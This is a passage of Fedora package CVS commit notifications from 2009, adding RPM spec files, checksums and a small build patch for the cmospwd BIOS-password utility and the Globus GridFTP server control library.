+170921463d09550884ea19adeb68eba7  globus_gridftp_server_control-0.36.tar.gz



From atorkhov at fedoraproject.org  Mon Oct 19 18:01:00 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 19 Oct 2009 18:01:00 +0000 (UTC)
Subject: rpms/cmospwd/EL-5 cmospwd.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091019180100.57E9311C00DC@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cmospwd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25519

Modified Files:
	.cvsignore sources 
Added Files:
	cmospwd.spec 
Log Message:
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging



--- NEW FILE cmospwd.spec ---
Name:           cmospwd
Version:        5.0
Release:        1%{?dist}
Summary:        BIOS password cracker utility

Group:          System Environment/Base
License:        GPLv2+
URL:            http://www.cgsecurity.org/wiki/CmosPwd
Source0:        http://www.cgsecurity.org/%{name}-%{version}.tar.bz2
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

# Fails to build on other arches and not useful there either, I think
ExclusiveArch:  %{ix86} x86_64

BuildRequires:  dos2unix

%description
CmosPwd decrypts password stored in cmos used to access BIOS SETUP.
Works with the following BIOSes

    * ACER/IBM BIOS
    * AMI BIOS
    * AMI WinBIOS 2.5
    * Award 4.5x/4.6x/6.0
    * Compaq (1992)
    * Compaq (New version)
    * IBM (PS/2, Activa, Thinkpad)
    * Packard Bell
    * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943,
      4.06 rev 1.13.1107
    * Phoenix 4 release 6 (User)
    * Gateway Solo - Phoenix 4.0 release 6
    * Toshiba
    * Zenith AMI

With CmosPwd, you can also backup, restore and erase/kill cmos.


%prep
%setup -q

rm src/%{name}

dos2unix %{name}.txt
iconv -f iso-8859-1 -t utf-8 %{name}.txt > %{name}.new
touch -r %{name}.txt %{name}.new
mv %{name}.new %{name}.txt


%build
cd src
make CFLAGS="%{optflags}" %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
install -D -m 755 src/%{name} $RPM_BUILD_ROOT%{_sbindir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING %{name}.txt
%{_sbindir}/%{name}


%changelog
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:20:18 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:01:00 -0000	1.2
@@ -0,0 +1 @@
+cmospwd-5.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:20:18 -0000	1.1
+++ sources	19 Oct 2009 18:01:00 -0000	1.2
@@ -0,0 +1 @@
+24c8caf61ff244dc2aae0ebfde47dd45  cmospwd-5.0.tar.bz2



From atorkhov at fedoraproject.org  Mon Oct 19 18:02:01 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 19 Oct 2009 18:02:01 +0000 (UTC)
Subject: rpms/cmospwd/EL-4 cmospwd.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091019180201.5A37311C00DC@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cmospwd/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26044

Modified Files:
	.cvsignore sources 
Added Files:
	cmospwd.spec 
Log Message:
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging



--- NEW FILE cmospwd.spec ---
Name:           cmospwd
Version:        5.0
Release:        1%{?dist}
Summary:        BIOS password cracker utility

Group:          System Environment/Base
License:        GPLv2+
URL:            http://www.cgsecurity.org/wiki/CmosPwd
Source0:        http://www.cgsecurity.org/%{name}-%{version}.tar.bz2
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

# Fails to build on other arches and not useful there either, I think
ExclusiveArch:  %{ix86} x86_64

BuildRequires:  dos2unix

%description
CmosPwd decrypts password stored in cmos used to access BIOS SETUP.
Works with the following BIOSes

    * ACER/IBM BIOS
    * AMI BIOS
    * AMI WinBIOS 2.5
    * Award 4.5x/4.6x/6.0
    * Compaq (1992)
    * Compaq (New version)
    * IBM (PS/2, Activa, Thinkpad)
    * Packard Bell
    * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943,
      4.06 rev 1.13.1107
    * Phoenix 4 release 6 (User)
    * Gateway Solo - Phoenix 4.0 release 6
    * Toshiba
    * Zenith AMI

With CmosPwd, you can also backup, restore and erase/kill cmos.


%prep
%setup -q

rm src/%{name}

dos2unix %{name}.txt
iconv -f iso-8859-1 -t utf-8 %{name}.txt > %{name}.new
touch -r %{name}.txt %{name}.new
mv %{name}.new %{name}.txt


%build
cd src
make CFLAGS="%{optflags}" %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
install -D -m 755 src/%{name} $RPM_BUILD_ROOT%{_sbindir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING %{name}.txt
%{_sbindir}/%{name}


%changelog
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:20:18 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:02:01 -0000	1.2
@@ -0,0 +1 @@
+cmospwd-5.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:20:18 -0000	1.1
+++ sources	19 Oct 2009 18:02:01 -0000	1.2
@@ -0,0 +1 @@
+24c8caf61ff244dc2aae0ebfde47dd45  cmospwd-5.0.tar.bz2



From ellert at fedoraproject.org  Mon Oct 19 18:02:09 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:02:09 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control/F-12
	globus-gridftp-server-control.patch, NONE,
	1.1 globus-gridftp-server-control.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019180209.B82DA11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gridftp-server-control/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26123/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gridftp-server-control.patch 
	globus-gridftp-server-control.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


globus-gridftp-server-control.patch:
 globus_gridftp_server_control.c |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE globus-gridftp-server-control.patch ---
diff -ur globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c globus_gridftp_server_control-0.36/globus_gridftp_server_control.c
--- globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c	2008-10-02 05:46:49.000000000 +0200
+++ globus_gridftp_server_control-0.36/globus_gridftp_server_control.c	2009-08-06 13:09:14.354409279 +0200
@@ -25,6 +25,10 @@
 #include <fnmatch.h>
 #endif
 
+#ifndef MAXPATHLEN
+#define MAXPATHLEN 4096
+#endif
+
 #define DEFAULT_MAX_Q_LEN               10
 #define GSU_MAX_USERNAME_LENGTH         256
 #define GSU_MAX_PW_LENGTH               GSU_MAX_USERNAME_LENGTH*6


--- NEW FILE globus-gridftp-server-control.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gridftp-server-control
%global _name %(tr - _ <<< %{name})
Version:	0.36
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus GridFTP Server Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/server-lib/src globus_gridftp_server_control-0.36
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gridftp_server_control-0.36
#		tar -zcf globus_gridftp_server_control-0.36.tar.gz globus_gridftp_server_control-0.36
Source:		%{_name}-%{version}.tar.gz
#		MAXPATHLENGTH should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6829
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-xio-gsi-driver%{?_isa}
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 5
BuildRequires:	globus-xio-gsi-driver-devel%{?_isa}
BuildRequires:	globus-xio-devel%{?_isa}

%package devel
Summary:	Globus Toolkit - Globus GridFTP Server Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 5
Requires:	globus-xio-gsi-driver-devel%{?_isa}
Requires:	globus-xio-devel%{?_isa}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus GridFTP Server Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus GridFTP Server Library Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


--- NEW FILE import.log ---
globus-gridftp-server-control-0_36-1_fc11:F-12:globus-gridftp-server-control-0.36-1.fc11.src.rpm:1255975307


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:02:09 -0000	1.2
@@ -0,0 +1 @@
+globus_gridftp_server_control-0.36.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:59 -0000	1.1
+++ sources	19 Oct 2009 18:02:09 -0000	1.2
@@ -0,0 +1 @@
+170921463d09550884ea19adeb68eba7  globus_gridftp_server_control-0.36.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:03:13 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:03:13 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control/F-11
	globus-gridftp-server-control.patch, NONE,
	1.1 globus-gridftp-server-control.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019180313.52B0211C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gridftp-server-control/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26483/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gridftp-server-control.patch 
	globus-gridftp-server-control.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


globus-gridftp-server-control.patch:
 globus_gridftp_server_control.c |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE globus-gridftp-server-control.patch ---
diff -ur globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c globus_gridftp_server_control-0.36/globus_gridftp_server_control.c
--- globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c	2008-10-02 05:46:49.000000000 +0200
+++ globus_gridftp_server_control-0.36/globus_gridftp_server_control.c	2009-08-06 13:09:14.354409279 +0200
@@ -25,6 +25,10 @@
 #include <fnmatch.h>
 #endif
 
+#ifndef MAXPATHLEN
+#define MAXPATHLEN 4096
+#endif
+
 #define DEFAULT_MAX_Q_LEN               10
 #define GSU_MAX_USERNAME_LENGTH         256
 #define GSU_MAX_PW_LENGTH               GSU_MAX_USERNAME_LENGTH*6


--- NEW FILE globus-gridftp-server-control.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gridftp-server-control
%global _name %(tr - _ <<< %{name})
Version:	0.36
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus GridFTP Server Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/server-lib/src globus_gridftp_server_control-0.36
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gridftp_server_control-0.36
#		tar -zcf globus_gridftp_server_control-0.36.tar.gz globus_gridftp_server_control-0.36
Source:		%{_name}-%{version}.tar.gz
#		MAXPATHLENGTH should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6829
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-xio-gsi-driver%{?_isa}
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 5
BuildRequires:	globus-xio-gsi-driver-devel%{?_isa}
BuildRequires:	globus-xio-devel%{?_isa}

%package devel
Summary:	Globus Toolkit - Globus GridFTP Server Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 5
Requires:	globus-xio-gsi-driver-devel%{?_isa}
Requires:	globus-xio-devel%{?_isa}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus GridFTP Server Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus GridFTP Server Library Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


--- NEW FILE import.log ---
globus-gridftp-server-control-0_36-1_fc11:F-11:globus-gridftp-server-control-0.36-1.fc11.src.rpm:1255975372


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:03:12 -0000	1.2
@@ -0,0 +1 @@
+globus_gridftp_server_control-0.36.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:59 -0000	1.1
+++ sources	19 Oct 2009 18:03:13 -0000	1.2
@@ -0,0 +1 @@
+170921463d09550884ea19adeb68eba7  globus_gridftp_server_control-0.36.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:04:21 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:04:21 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control/EL-5
	globus-gridftp-server-control.patch, NONE,
	1.1 globus-gridftp-server-control.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019180421.8B09A11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gridftp-server-control/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26866/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gridftp-server-control.patch 
	globus-gridftp-server-control.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


globus-gridftp-server-control.patch:
 globus_gridftp_server_control.c |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE globus-gridftp-server-control.patch ---
diff -ur globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c globus_gridftp_server_control-0.36/globus_gridftp_server_control.c
--- globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c	2008-10-02 05:46:49.000000000 +0200
+++ globus_gridftp_server_control-0.36/globus_gridftp_server_control.c	2009-08-06 13:09:14.354409279 +0200
@@ -25,6 +25,10 @@
 #include <fnmatch.h>
 #endif
 
+#ifndef MAXPATHLEN
+#define MAXPATHLEN 4096
+#endif
+
 #define DEFAULT_MAX_Q_LEN               10
 #define GSU_MAX_USERNAME_LENGTH         256
 #define GSU_MAX_PW_LENGTH               GSU_MAX_USERNAME_LENGTH*6


--- NEW FILE globus-gridftp-server-control.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gridftp-server-control
%global _name %(tr - _ <<< %{name})
Version:	0.36
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus GridFTP Server Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/server-lib/src globus_gridftp_server_control-0.36
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gridftp_server_control-0.36
#		tar -zcf globus_gridftp_server_control-0.36.tar.gz globus_gridftp_server_control-0.36
Source:		%{_name}-%{version}.tar.gz
#		MAXPATHLENGTH should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6829
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-xio-gsi-driver%{?_isa}
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 5
BuildRequires:	globus-xio-gsi-driver-devel%{?_isa}
BuildRequires:	globus-xio-devel%{?_isa}

%package devel
Summary:	Globus Toolkit - Globus GridFTP Server Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 5
Requires:	globus-xio-gsi-driver-devel%{?_isa}
Requires:	globus-xio-devel%{?_isa}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus GridFTP Server Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus GridFTP Server Library Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


--- NEW FILE import.log ---
globus-gridftp-server-control-0_36-1_fc11:EL-5:globus-gridftp-server-control-0.36-1.fc11.src.rpm:1255975433


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:04:21 -0000	1.2
@@ -0,0 +1 @@
+globus_gridftp_server_control-0.36.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:59 -0000	1.1
+++ sources	19 Oct 2009 18:04:21 -0000	1.2
@@ -0,0 +1 @@
+170921463d09550884ea19adeb68eba7  globus_gridftp_server_control-0.36.tar.gz



